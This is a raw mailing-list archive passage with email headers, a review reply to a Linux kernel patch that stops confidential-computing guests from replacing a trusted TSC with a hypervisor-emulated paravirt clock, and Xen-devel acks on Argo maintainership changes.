 qdrM8TqeFBvhuFgLLe5qs4jWk9CHdv0AYy8cQ/QUVhQUEcb7T5SCn14eOaFpictd8GSq+faiQenIYJC3hGGrRCyh+R4fFG3ungSx8vvHg6Tjppm2dQnX30ASlF2J96QIDukoKi+xo7ESP1SYnfq23VqRdmy4dlG1AImTkwtYVhea+dWishLk7ttaDW5e2MCVTeygprhy6mIjolk5/1ZkSCiLgGXo/7gwBvYMwpsk/fFicMxPgE1dL52nd/rhroAqmrRKfO+NNNgpZlYYEt2eDv5KwnzFeljrtJ3b6MadCUpbo6jUr6cKoQIKhKAQzjb++BfqdoPQWSANfgUv9sVrqwoNJFtrgJ0xG5h1yPAVKiYuNLEYW9ZbyML6iQU+b2tNL0uDDuwRReAvWedIRwzl2V0XzfR/JVqg8nGAj0sMpdrgdGvZmpt87zaFiUuILg0yDo8iTQRZ3MaGZcIh2sRuGfHJAlo6AU+LJWJoOqUgCyguuK/Zblb6CFmUxoDfAznroIyLhua0X/accY6iVlFXFEJJ/jdlNdan73cTEXblbhVTQbGEQbV/43vfoQopcX5g2ROdfHk3BJJweSzOR5U29C143Rh5etZR1sVjLbPSr4/ifndXV6afz5bxvfPGRxqRRrULlrDQYWa776RnE3r4cN84Q8De9cD6C6M0tpxkns64W++g7SC/15nyqLx03lOosuKPf31tAMBbtHUB/3Ev2QLp0nsFrqt8v/79G33kP2t0BfC0NZBRp0EGQoTcV2rCju4mAXp1g+O7/fbjSJnS7lWGyb1FRNMk
x-microsoft-antispam:
 BCL:0;ARA:14566002|16051099003|51005399006|19101099003|2604032031799003|704163111799003|37011999003|13091999003|8060799015|8062599012|31061999003|41001999006|19110799012|25010399006|15080799012|40105399003|12091999003|102099032|440099028|3412199025|1710799026;
x-microsoft-antispam-message-info:
 =?us-ascii?Q?5q25IsYCsTrASI9NXfU4P8ec+nkHfyWyOIdXMISJZkyJv0QJ7STvp5XcT1W7?=
 =?us-ascii?Q?/QKhsM5M3Miw6nR+GJ6iwocnKGOnuL/6RkuMyjUY3MpNToGlVOkxjLb+8nT3?=
 =?us-ascii?Q?+fFDQWdp/6r9O1Jc+EGvh2PUBXWRRqp28RUTSaXZNxmg4kFfaAvKzjbSFuTo?=
 =?us-ascii?Q?TqDqyzBlR6mdHcE5kz41tPHZiScYWwAhhR+IH8jMMREKrxVO0pdIuRfF2U3l?=
 =?us-ascii?Q?opBVxRkyjKFv7VXnnoOTPiBSlf6Oh0JMz5p5F3GWpYwCZcRNoyTGhk3Tuvzh?=
 =?us-ascii?Q?f+zyK+U2GLO2hhXDEjjmNdqg6ZJE/17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z6AxVgMwO80x?=
 =?us-ascii?Q?kYOb8ZVrEng6XqO7NM7f3GWeHViBVsmUDrJ7gw=3D=3D?=
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?us-ascii?Q?7ZODV6s9+KgwoUB9aH93lAXzLBMUrLUPS6UpHgZTToRjFFPgYrhYHnGagxox?=
 =?us-ascii?Q?z5xnafvLdobfSsJY9UmQbFDepqNijntrvvz9mJ/2aor1u0ClTVJFtHVzuPMa?=
 =?us-ascii?Q?eVR0QU1Ex9kgHxXryv9nlRbKaVVsv0I9Ao12/ePQRyzD4TmOG65wwEGqvLge?=
 =?us-ascii?Q?Nbd2MrQI9qX4j5MS0kzCCXLdvj0AIWY1yK3fcLBPoMIcYgnikE9M9SRSvXCp?=
 =?us-ascii?Q?KIvQqwobbHXjb+hClkOz4blrKqZE+0eijqFqYVji15kEAZ+D3hU4WLi0Y40L?=
 =?us-ascii?Q?9pwn1kfnIBAHmxoThDW/Y4vso5XmizuweJbViqyycyq3Md+d8oRCvBr4WaBk?=
 =?us-ascii?Q?tJIcrjjJnNnB1iSmx17WQ6Xf7snGDPLfbCFRIQH5bCpAca0rHsySxFwLL6C4?=
 =?us-ascii?Q?Kz1b6DAGMHvGzRa+4vf+KLp4jCGH00ieS9scORtZutlhZWmFh3K07vqywkMp?=
 =?us-ascii?Q?8XIO1YKikGOXuJTWa9c0+XRBZlHZJtfASPJ7FHfVDectRzVWdUYOS2x9kfuj?=
 =?us-ascii?Q?qBPwsXEylWkjWW8hKm3W5z5jVVfKdICUbqeum9S2nFDkltjMAUoDZcKPg+hZ?=
 =?us-ascii?Q?GRvgfD5shKwi0tVO4BR657VS5yHHmaDjxHi03txTRzckmEWLpps3ep8kM3Hl?=
 =?us-ascii?Q?BvbNuptg4i0r3setc4pHerG9YbaOhtc5jGL6pA85bLOw3kgONsAzlIDLd/0p?=
 =?us-ascii?Q?FbOEMHbixneKp451NYZ+D7ODJyI08ydYOGv2lwUTmWCkVCffLeDIbfB8/IZi?=
 =?us-ascii?Q?D/NzRZu4OZm+49Fmnml69sq8z79Q1jROgKiKSdYfDpjh+7BhScgrq9JiXcvQ?=
 =?us-ascii?Q?9pKcto81Te9x9HCYf4gelvZ8oL3SPam2fV2N621arFvM1gphFNUxivUucnWM?=
 =?us-ascii?Q?NeLzFim7/IQFP2WM0n2EMfk+qwGY09T3Aw5Rt+2o+QWyeYwjeSQ8r/6+8RwQ?=
 =?us-ascii?Q?jyTyfgi8YHhdSoe+weDeCFNj27v9HMzk5WOulPd3BnlkGd2jLsuVQYDSFe1G?=
 =?us-ascii?Q?VIOv0JuLrxnBENW3AOQzgq3kt7bZS9EbVr5Kz3esENIJaX1bk2ff5fKi2mWZ?=
 =?us-ascii?Q?L9UeJcI81yWWpQY2uumolT/EJwNxRXViH5VlUgr9q2r3BCw/l8AT+aGyH2UU?=
 =?us-ascii?Q?MRZgCf4h+ssxwRiddWTLXvwv3Jzj0MM8wZidGxhEeWHfAh8OlhOK1oOtj/yS?=
 =?us-ascii?Q?QBWyD6Qjn2dV4IGzcJb47teDLTv4873vJhGIzD2CfUKnpYT+U8aQxrI452q8?=
 =?us-ascii?Q?miyTh8sSu+2SESot8bC3VX6aHBvM/zuCAOC0xmBKyYR3FrwTjAmzeymOF9HG?=
 =?us-ascii?Q?ftisthux+koPRFIisQZ5TyogjMEGb0FEQmPFh/s/e+JT/h5xCsOeZDuBJywh?=
 =?us-ascii?Q?wZSjFIw=3D?=
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: SN6PR02MB4157.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-CrossTenant-Network-Message-Id: 5bf48bad-71fc-4fda-a241-08ded8621f36
X-MS-Exchange-CrossTenant-originalarrivaltime: 02 Jul 2026 17:48:27.4623
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa
X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV8PR02MB10144
X-purgate-ID: tlsNG-16d1c6/1783014511-C712768D-021FBCAD/0/0
X-purgate-type: clean
X-purgate-size: 1712

From: Sean Christopherson <seanjc@google.com> Sent: Wednesday, July 1, 2026=
 12:32 PM
>=20
> Silently ignore attempts to switch to a paravirt sched_clock when running
> as a CoCo guest with trusted TSC.  In hand-wavy theory, a misbehaving
> hypervisor could attack the guest by manipulating the PV clock to affect
> guest scheduling in some weird and/or predictable way.  More importantly,
> reading TSC on such platforms is faster than any PV clock, and sched_cloc=
k
> is all about speed.
>=20
> Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
> Signed-off-by: Sean Christopherson <seanjc@google.com>
> ---
>  arch/x86/kernel/tsc.c | 9 +++++++++
>  1 file changed, 9 insertions(+)
>=20
> diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
> index 012321fed5e5..a146fc7b5e74 100644
> --- a/arch/x86/kernel/tsc.c
> +++ b/arch/x86/kernel/tsc.c
> @@ -283,6 +283,15 @@ bool using_native_sched_clock(void)
>  int __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
>  				      void (*save)(void), void (*restore)(void))
>  {
> +	/*
> +	 * Don't replace TSC with a PV clock when running as a CoCo guest and
> +	 * the TSC is secure/trusted; PV clocks are emulated by the hypervisor,
> +	 * which isn't in the guest's TCB.
> +	 */
> +	if (cc_platform_has(CC_ATTR_GUEST_SNP_SECURE_TSC) ||
> +	    boot_cpu_has(X86_FEATURE_TDX_GUEST))
> +		return -EPERM;

Do a pr_warn() in the error case? Your commit message says to
do the ignore silently, but I wonder if that's a good idea. At least
for Hyper-V, the error case shouldn't happen.

Michael

> +
>  	if (!stable)
>  		clear_sched_clock_stable();
>=20
> --
> 2.55.0.rc0.799.gd6f94ed593-goog
>=20



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 05:57:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 05:57:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352825.1609149 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfWtT-000150-Nv; Fri, 03 Jul 2026 05:56:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352825.1609149; Fri, 03 Jul 2026 05:56:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfWtT-00014s-Ie; Fri, 03 Jul 2026 05:56:55 +0000
Received: by outflank-mailman (input) for mailman id 1352825;
 Fri, 03 Jul 2026 05:56:54 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfWtS-00014m-QH
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 05:56:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfWtR-00FyMx-O3
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 07:56:53 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a474f0f-2eae-0a2a0a5409dd-0a2a450393c0-26
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 07:56:53 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a474f25-ec1a-0a2a45030019-d1558036edef-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 07:56:53 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493b61b52b6so806025e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 22:56:53 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db8a4a09sm15441046f8f.13.2026.07.02.22.56.52
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 22:56:52 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783058213; x=1783663013; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=IemmhEklWXsMozzSGD05TXsrjHUQafyMg5AZqO6fdiA=;
        b=UiVBW9qo5C0JYh6EN07ebuD0fkO2qfN9MT1RvW+1vecQl++BwFzW5iWE4g2Ygn2ozI
         CcEBHVntNRIRn2HjGB4khZ6MDcL6BcVlBm5UflFOytZjCNdPd+dVbykinWAg9GCddX3I
         QZCkh8D1cDKbltYO6kMRcQ19mOKm+zD5LEOUKBcGlIaMfsQkB+TleMxBCwkz5mtRCH2a
         LIVgLqA8q8h7HameBY5pTdo53Ytu9kiXLERqyyVYRXNX5sNaUFTRxCOlrwGzMsXcUZ6z
         fvgLP6NWIGhiKMZdTE+o9w9Jo3pNZ80rFP5l9nnJVhAwertRAYfgV3k5fw0FYZxvJ2SP
         6HVw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783058213; x=1783663013;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=IemmhEklWXsMozzSGD05TXsrjHUQafyMg5AZqO6fdiA=;
        b=QvZky4efeqgsznVahAsjjrS+ewmGMC/X5HUfWCT0RLt4Axqo3AdqwHq103WzBCsyEd
         83qmWnPQ2kiA3OOqGrfdZ06ulGM+eFhtz2p/LdFYaNEGY3iUohu/cSVxs6P2sBXJkXFv
         saSexx/91TJ0GxinSiwr62NphHQbnan2R7BjaZDUc8EAuHhFa+J4JJHuO7kHz5YIARfq
         V2LYqekYtHaszvLLiibvOgIUfBrQ05JoqEGKx2SbnuWhEQ55G2ED1bqiDyHjdsw1k7ts
         jl13R2rCi/LrEub5s3uthdWB/PbC19VaerYzfmk9QPoLEWQQbvMyCd1MlEZSueMcfnM/
         TgYA==
X-Forwarded-Encrypted: i=1; AFNElJ8FVtQ52kyiXGnM7nQaNv6XvZ9/qwGjevLLZ9s3kqzAmsrBPWZ6GTRkaVYS58ndyBLjTqFruqqP3Rc=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yz07nzxY5YSouhqr7qhOJ+QC9Ul4FjBzRLmSUxcwLHay/6yja0P
	QWZXyqa+Hyr017pcoqTvXCKiiSN11nOf5g7w/ggB2HBw6BOTF/dFXYiUMbFspjygyw==
X-Gm-Gg: AfdE7cm+S83/HKMvWsOL+BXF2wz5Vk6710IWHdBFQfCATfW2g/lnksDINd1Gj4B/ZG7
	cKMLFe4HRSSInHQ9boWBoC7MkjYPOnMWARaAQy38WnX5woE8IFVeUfhlnYnOViEr6THo869ZYUS
	nuDlc8TM7vJql6PMRWgBbyb5IATVFYOzF2X/wyAB9NWoliZfiF8pslMhj28mqHN3y7rlWwTI6ba
	w/5BfO/ytMmEZvGVJwdpbexybeDpYPCtHoCbcTFsLxUrcZB068DMNSpS/lL7SRRo0/ngLi2fISE
	MkZrPBB+NknkSD3v9kOEAgflzU2AlOfqVrRClbfzFbKQJDfMPxRx8UGKmZ0CvQbtbkN0Qe2G/3+
	DkHE37sD8j0V/Ftrqxo8Xftt4lOLm4g6HjVtLV4vpHxzruwPs3UMkV1f4JJm7872vUAt7avgmLx
	HqIxir22KWXCcjimQJcndzx3IbSzklaNzbkdP4gJO4e6HXAFz9pO2JVuckcuh5/N/dKz13bewLb
	gno
X-Received: by 2002:a05:600c:4e4c:b0:492:465c:56f6 with SMTP id 5b1f17b1804b1-493c3cd54f8mr125599585e9.10.1783058212811;
        Thu, 02 Jul 2026 22:56:52 -0700 (PDT)
Message-ID: <cccb749a-a092-40cd-8acf-a1b7c8d5ae6f@suse.com>
Date: Fri, 3 Jul 2026 07:56:51 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] argo: fall back maintainership into the rest
To: Roger Pau Monne <roger.pau@citrix.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Christopher Clark <christopher.w.clark@gmail.com>,
 xen-devel@lists.xenproject.org
References: <20260702163845.36453-1-roger.pau@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260702163845.36453-1-roger.pau@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1783058213-B55BC5D1-F7D8F105/0/0
X-purgate-type: clean
X-purgate-size: 433

On 02.07.2026 18:38, Roger Pau Monne wrote:
> Due to unresponsiveness of the current maintainer.  In particular, the
> committers have been trying to get in touch with Christopher for 2 weeks to
> have a chat about disputes around recent commits and pending changes to the
> ARGO component without getting any response.
> 
> Signed-of-by: Roger Pau MonnÃ© <roger.pau@citrix.com>

Acked-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 05:57:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 05:57:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352832.1609158 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfWuP-0001ZO-Uo; Fri, 03 Jul 2026 05:57:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352832.1609158; Fri, 03 Jul 2026 05:57:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfWuP-0001ZG-RE; Fri, 03 Jul 2026 05:57:53 +0000
Received: by outflank-mailman (input) for mailman id 1352832;
 Fri, 03 Jul 2026 05:57:53 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfWuP-0001ZA-5x
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 05:57:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfWuO-00GO1b-Ij
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 07:57:52 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a474f4a-5cb7-0a2a0a5109dd-0a2a4509b3a2-34
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 07:57:52 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a474f60-97e6-0a2a45090019-d155dd2db488-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 07:57:52 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-476d8e647e9so165987f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 22:57:52 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477dd94ce4csm15725644f8f.17.2026.07.02.22.57.51
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 22:57:51 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783058272; x=1783663072; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=Kx2Mq9CGUh/oNjMiYpEYd6BlsoDVRLUSWd/QFyojYHw=;
        b=del1suS9xsKQcofqpYrX0lMjWDS2KQM6FFVhJPo3I2c3C4FoSAq8LMMfgKy5TezMTf
         xQ6pM+ZIwqvu2tkLcxUTFPDenj/rZG3SJSmbs5m3UKJPtIpDtKob0tXXtNovGt6u3001
         jyFiN+Nc0Yhuvm2IqXYaWHIhd7SaEiz/Q9Mge0fQfOZyrlC4aj8Zqmd7bpiUUQB5JFKO
         WVAy+iw/HPpsUs94aP7yF8FhPDfbVDqPK/OKXNXUk4jsBPAiBl/RNm3Ba5EPg795w/MR
         ZGWTvNFv5Kx7CG5BSFoNpw/jCNlwasXncwVTafgiIxBBN2iwblfTWjHB/iKGpXL+JGU6
         bTJQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783058272; x=1783663072;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=Kx2Mq9CGUh/oNjMiYpEYd6BlsoDVRLUSWd/QFyojYHw=;
        b=o4lcM2PFWwwWJEeIP07hsYiskzawQJDDUV91ATWod2i3ybGATZoA9Txp1UPXxpU4UF
         L4pqoqvmzx/kZuw79D8hVbC1wvg0o+3hjcbLmC1ojxlskp/wVz7zfsMsgTqlseBV+QHv
         kGYjXsuIWr143lrMQRB2/9Hrcc2zrQ6SkG1yk6uYUvpNPUuiggOt8h0HLqPhCUv6GvXe
         Lv7ys0RcPbx29v3wHKJnm/dYNgZXK562D8J3B8mdbkx2S1iEy6M08+JxBCNObQbMtVks
         C8+n5Lie06gzYqOxA5GZdjIBbbA0wuRRWFUH6R+DtRKNI8gCEJMQJ1eOHwVGgBuV++MO
         MYEw==
X-Forwarded-Encrypted: i=1; AHgh+Rqki7Ht0OrR5rZImQEERw21bYmVpO+kUBCo17xdpM2es29U3mcC51IKsb+FFVslggqbB+FUaj/B94w=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzJy7YVARFIRX2tKhjI0ZJDT3WFpEAD90VKMMyHIyJSlFG8TzA6
	S1CEVVdjJ+zUmnMBTrPtJwo8HCSWclanx132gBT44QnD+XAJtJDXEoQeoc08z55T8Q==
X-Gm-Gg: AfdE7cn6sSQcJbHshf2tAUuUZ3lGckUPMt9lu/b0sv9LA9pji9RZOkrhq4eIymkd6QK
	IROC7MsAiu0BzgJ8hNqdjlkO3FZfF59sZbTVVIiqQun0IfpK+hYd4E2zORW9U9fIKxKNCXyw9Qv
	nN+mBDdC2h3Xbe9fhTck8z2IBgLNBFYoD3gQ3gwsNiHhi4Iu/okceglBTpaetZ1wfaB/78sAA+O
	QrPmAlpqmNn70tT5BVdJ/akQpdIZvZOQsXvempQzJkdp2tUnu9Icx+6dHPf5i3NLJwXdR73BGqP
	o/DAlc0ZEyK5wlbGjdipdRm0hwtPAtEMsGX4FuHNQmAJ8tgPFNGsZlflv0/nESxNC2mJrAFQcmI
	3VXaV8noywbjqwL/5jLzp9EquSnc+6kNLB8hRcE7oMI8MyCK+tl2+9p4sAU4SFGxX6p2qPaDkz0
	7WrzqZlSbripvXogMjE7nJTEoRmmgVCPexLa1PVNqI/epGSYVdOi43mV1MQyFhfxmERMRe0q0g3
	tR5
X-Received: by 2002:adf:e009:0:20b0:475:f0d1:eb6d with SMTP id ffacd0b85a97d-4775cf541b2mr10111727f8f.58.1783058271895;
        Thu, 02 Jul 2026 22:57:51 -0700 (PDT)
Message-ID: <9efb193c-8657-4046-b417-4cd7cdccd2eb@suse.com>
Date: Fri, 3 Jul 2026 07:57:50 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] MAINTAINERS: Add myself as an Argo reviewer
To: Jason Andryuk <jason.andryuk@amd.com>
Cc: Christopher Clark <christopher.w.clark@gmail.com>,
 "Daniel P . Smith" <dpsmith@apertussolutions.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260604184413.788910-1-jason.andryuk@amd.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
